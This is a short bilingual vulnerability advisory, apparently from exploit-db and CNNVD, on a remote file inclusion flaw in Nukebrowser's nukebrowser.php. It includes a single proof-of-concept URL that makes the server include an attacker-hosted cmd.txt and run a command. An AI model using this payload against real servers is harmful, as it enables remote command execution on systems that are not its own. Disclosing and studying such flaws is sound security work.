https://www.exploit-db.com/exploits/22206
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200312-184

Nukebrowser是一个用PHP写的CGI程序。Nukebrowser的nukebrowser.php脚本文件存在漏洞，远程攻击者可以包含其它服务器上的任意文件执行系统命令。远程攻击者可以在其控制的服务器上上传一个恶意PHP指令的文件，然后在URL的参数里引用包含这个恶意脚本文件，就可以在受影响服务器上执行任意命令。

source: http://www.securityfocus.com/bid/6731/info

Nukebrowser is prone to an issue which may allow remote attackers to include files located on remote servers. This issue is present in the nukebrowser.php script file.

Under some circumstances, it is possible for remote attackers to influence the include path for 'cmd.txt' to point to an external file on a remote server by manipulating some URI parameters.

http://[victim]/nukebrowser.php?filnavn=http://www.site.com&filhead=http://[web hosting]/cmd.txt&cmd=id

来源:SECTRACK
名称:1006031
链接:http://securitytracker.com/id?1006031
来源:XF
名称:nukebrowser-php-file-include(11217)
链接:http://xforce.iss.net/xforce/xfdb/11217
来源:BID
名称:6731
链接:http://www.securityfocus.com/bid/6731
来源:SECUNIA
名称:7986
链接:http://secunia.com/advisories/7986
来源：NSFOCUS
名称：4304
链接：http://www.nsfocus.net/vulndb/4304